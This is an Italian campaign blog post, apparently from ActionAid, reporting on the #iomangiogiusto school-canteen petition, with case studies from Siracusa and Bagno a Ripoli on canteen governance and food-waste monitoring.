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#IOMANGIOGIUSTO:oltre la petizione c’è di più!

12.10.2015
#IOMANGIOGIUSTO
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Attività di sensibilizzazione, monitoraggio degli sprechi nelle mense scolastiche, lavoro con le istituzioni locali, coinvolgimento di più di 42.000 studenti, 24.300 bambini, 700 genitori e 1.900 insegnanti.

Anche questo è #iomangiogiusto.


Il pasto a scuola è fondamentale per la corretta alimentazione: sono circa 50 milioni i pasti che vengono serviti ogni mese nelle mense italiane, quasi 2,5 al giorno, volumi importanti. È per questo che con la nostra petizione #iomangiogiusto, lanciata in collaborazione con Cittadinanzattiva e Slow Food nell’ambito dell’alleanza “Italia Sveglia” chiediamo alle istituzioni di orientare il servizio della ristorazione scolastica verso scelte sostenibili e responsabili.

Ma #iomangiogiusto non è solo una petizione: è una vera e propria campagna per costruire una nuova generazione di consumatori consapevoli, che decideranno di alimentarsi in modo sano e “giusto” e si interfacceranno direttamente con le istituzioni locali per monitorare e migliorare il servizio di ristorazione.

La scuola, con il suo ruolo educativo e formativo, è il posto ideale per parlare di dieta sostenibile e alimentazione corretta; per promuovere scelte di consumo consapevole; sperimentare azioni di condivisione e cambiamento con i bambini, gli insegnanti, i genitori e gli amministratori.

È proprio questo che ActionAid sta facendo sul territorio…e di risultati da raccontare ne abbiamo!

Da febbraio 2014 a ottobre 2015 la nostra campagna ha coinvolto e sensibilizzato circa 42.000 studenti in tutta Italia, raggiunto oltre 700 genitori e 1.900 insegnanti, e ha permesso di far diventare più giusta la mensa di 24.300 bambini.

Come, nella pratica? Ecco un paio di casi concreti, che speriamo rappresentino un modello anche per altre realtà locali e per cittadini intenzionati a impegnarsi al nostro fianco!

 

PARTIRE DALLE SCUOLE PER UNA NUOVA CITTADINANZA DEL CIBO: L’ESPERIENZA DI SIRACUSA.

Analizzare un regolamento comunale e identificare dei margini di miglioramento per assicurare il coinvolgimento delle parti in causa è un procedimento che denota non solo apertura, ma soprattutto intelligenza e voglia di mettersi in gioco. Doti che non mancano al Comune di Siracusa, in particolare a Valeria Troia, Assessore all’Istruzione, che è stata la prima promotrice del lavoro su Io Mangio Giusto. La revisione del regolamento delle commissioni mensa è coincisa con un’analisi del servizio, la messa in atto di una serie di strumenti concreti per migliorarlo, e nel lungo termine con una promozione di una food policy a livello cittadino. Alla fine del 2014, il Comune ha adottato un nuovo regolamento comunale. Ecco cosa ci racconta direttamente l’Assessore Valeria Troia qui di seguito:

“Il servizio di ristorazione scolastica presentava notevoli criticità: da una scarsa chiarezza nell’informazione all’utenza, all’assenza di un sistema di monitoraggio sul servizio, dalla mancanza di rapporti e partecipazione dell’utenza a una qualità del cibo e della scelta dei menù alquanto scadente. Analizzati i punti di debolezza del servizio, siamo intervenuti in maniera sistemica, realizzando un portale sulla refezione scolastica e una carta dei servizi che consentisse un dialogo costante. Siamo poi passati al coinvolgimento di docenti e genitori e alla costituzione di un regolamento delle Commissioni Mensa, e di conseguenza alla costituzione delle stesse, volte non soltanto a monitorare il servizio, ma a costruire insieme menù migliori, anche grazie all’interlocuzione con la ditta affidataria del servizio. Siamo pertanto giunti alla creazione di menù partecipati stagionali e alla creazione di menù speciali. Di enorme valore è stata per noi la collaborazione con ActionAid, che ha consentito di approfondire in sede di formazione delle Commissioni mensa la tematica della lotta agli sprechi, della mensa più giusta, ma soprattutto la possibilità di usufruire di validi strumenti didattici da condividere con e scuole. Il confronto con gli attivisti del gruppo di ActionAid hanno per noi rappresentato un valido supporto alla costruzione di una food policy cittadina, ma anche a acquisire suggerimenti per la costruzione del capitolato di gara, su una logica di filiera corta e prodotti biologici. Molti sono gli obiettivi per il nuovo anno: dall’informatizzazione del sistema di prenotazione dei pasti ad alcuni progetti di educazione al cibo che rispetto all’anno precedente vedranno come protagonisti privilegiati i bambini come gli orti didattici, la costituzione di una piattaforma d’acquisto con i coltivatori locali ed infine la costruzione di una carta condivisa sul cibo”

 

A MENSA NON SI SPRECA: I LABORATORI DI MONITORAGGIO PARTECIPATO DELLO SPRECO DI CIBO NELLE CLASSI.

La ristorazione scolastica, con la sua valenza educativa, può diventare uno strumento privilegiato di sensibilizzazione al problema degli sprechi alimentari per i bambini. Tra le scuole che si sono impegnate in questo percorso, è peculiare l’esperienza dell’istituto comprensivo Teresa Mattei di Bagno a Ripoli (FI). In questa scuola si è deciso di sviluppare una ricerca sul cibo servito nelle mense scolastiche che resta nel piatto e finisce nella spazzatura, accompagnato da percorsi di educazione alimentare su diritto al cibo e lotta allo spreco dedicati ai bambini.

L’intervento di ActionAid si è inizialmente basato su una ricerca condotta nel 2013 da Siaf Spa, la società che ha in affidamento il servizio di ristorazione scolastica per conto del comune di Bagno a Ripoli; attraverso l’osservazione di 14 classi, l’azienda ha raccolto i dati sul cibo che rimaneva nei contenitori, dunque quello non distribuito e potenzialmente riutilizzabile (lo spreco in cucina). È stato osservato come la percentuale di scarto dei prodotti è relativamente bassa, pari all’11% del cibo cucinato. Questo dato positivo può essere conseguenza di un’attenzione particolare nella fase di sporzionamento; diversamente da altre scuole, i bambini possono sceglie la quantità di cibo (poco, normale, molto) in base alla fame o ai gusti. In un secondo momento, ActionAid ha proposto di integrare i dati ricavati dalla ricerca di Siaf con un monitoraggio dello spreco prodotto sul vassoio, da svolgere al termine dalle attività laboratoriali del kit scolastico “Io mangio tutto”. Le insegnanti hanno guidato gli alunni nel peso degli scarti di cibo rimasti sui loro vassoi del pranzo, rilevando percentuali di avanzo molto basse: solo il 3,27% della grammatura totale servita nei giorni in cui è stata fatta la rilevazione non è stata consumata.

Tale risultato positivo dimostra come l’azione congiunta di diversi attori come l’azienda di ristorazione Siaf e il Comune di Bagno a Ripoli, permette di intervenire sui passaggi fondamentali della filiera di ristorazione, affiancando un’attività educativa e di sensibilizzazione coordinata da ActionAid.

 

Sempre al tema del monitoraggio degli sprechi è dedicato il VIDEO presente in questa pagina, che racconta l’esperienza dell’istituto Gianni Rodari a L’Aquila. Buona visione!

 

Se vuoi partecipare anche tu alla campagna e attivarti con noi sul territorio, scrivici alla casella attivismo@actionaid.org o, se sei un/una docente, visita il nostro sito scuole.actionaid.it .

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